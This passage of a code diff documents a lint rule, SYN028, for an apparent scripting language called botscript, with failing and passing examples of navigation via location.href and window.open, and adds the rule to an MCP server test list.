unless explicitly combined.\n\n" + + "**Excluded:** `obj.location.*` (location as a member of a local binding, not the global), " + + "`obj.window.open` (non-ambient receiver), fn/function/function* declarations named `location` " + + "or `open`, method shorthands. `unsafe {}` blocks and `unsafe \"reason\" fn` bodies are suppressed.", + example: { + fails: + "?bs 0.7\n" + + "// SYN028: location.href assignment bypasses the capability model\n" + + "fn redirectTo(url: string) -> void {\n" + + " location.href = url\n" + + "}\n\n" + + "// SYN028: window.open opens a new context without net declaration\n" + + "fn openTab(url: string) -> void {\n" + + " window.open(url, '_blank')\n" + + "}\n", + passes: + "?bs 0.7\n" + + "// fix: pass navigation as a parameter\n" + + "fn redirectTo(navigate: (url: string) -> void, url: string) -> void {\n" + + " navigate(url)\n" + + "}\n\n" + + "// or use unsafe when navigation is genuinely required at an entry point\n" + + "fn navigateToLogin(url: string) -> void {\n" + + " unsafe \"redirects to login page\" { location.href = url }\n" + + "}\n", + }, + }, DEP001: { code: "DEP001", title: "fn transitively reads a resource category not declared in its header", diff --git a/packages/mcp/tests/server.test.ts b/packages/mcp/tests/server.test.ts index eb13233a..4b819c01 100644 --- a/packages/mcp/tests/server.test.ts +++ b/packages/mcp/tests/server.test.ts @@ -91,6 +91,7 @@ describe("botscript-mcp explanations", () => { "SYN019", "SYN022", "SYN023", + "SYN028", "THR001", "THR002", "THR003",